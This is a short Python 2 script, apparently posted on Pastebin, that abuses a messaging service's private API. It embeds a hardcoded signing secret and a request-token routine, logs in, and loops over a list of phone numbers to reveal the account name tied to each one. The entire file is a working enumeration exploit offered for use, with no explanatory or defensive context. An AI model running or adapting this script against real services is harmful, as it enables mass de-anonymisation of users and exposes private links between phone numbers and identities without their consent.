Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. #!/usr/bin/env python2
  2. # python2 find_friends.py $username $password < numbers.txt > results.txt
  3. import requests
  4. import hashlib
  5. import json
  6. import sys
  7.  
  8. def request_token(auth_token, timestamp):
  9.     secret = "iEk21fuwZApXlz93750dmW22pw389dPwOk"
  10.     pattern = "0001110111101110001111010101111011010001001110011000110001000110"
  11.     first = hashlib.sha256(secret + auth_token).hexdigest()
  12.     second = hashlib.sha256(str(timestamp) + secret).hexdigest()
  13.     bits = [first[i] if c == "0" else second[i] for i, c in enumerate(pattern)]
  14.     return "".join(bits)
  15.  
  16. numbers = sys.stdin.read().split("\n")
  17. base = "https://feelinsonice.appspot.com"
  18.  
  19. r = requests.post(base + "/bq/login", data={
  20.     # These are hardcoded, just because it's easy.
  21.     "req_token": "9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b",
  22.     "timestamp": 1373209025,
  23.     "username": sys.argv[1],
  24.     "password": sys.argv[2]
  25. }, headers={"User-agent": None})
  26. auth_token, username = r.json()["auth_token"], r.json()["username"]
  27.  
  28. # We can hardcode these as well.
  29. static = {"req_token": request_token(auth_token, 1373209025), "countryCode": "US", "timestamp": 1373209025, "username": username}
  30.  
  31. for number in numbers:
  32.     n = json.dumps({number: "J. R. Hacker"})
  33.     r = requests.post(base + "/ph/find_friends", data=dict(static, numbers=n), headers={"User-agent": None}).json()
  34.     if len(r["results"]) < 1:
  35.         continue
  36.     sys.stdout.write("{0} -> {1}\n".format(number, r["results"][0]["name"]))
  37.     sys.stdout.flush()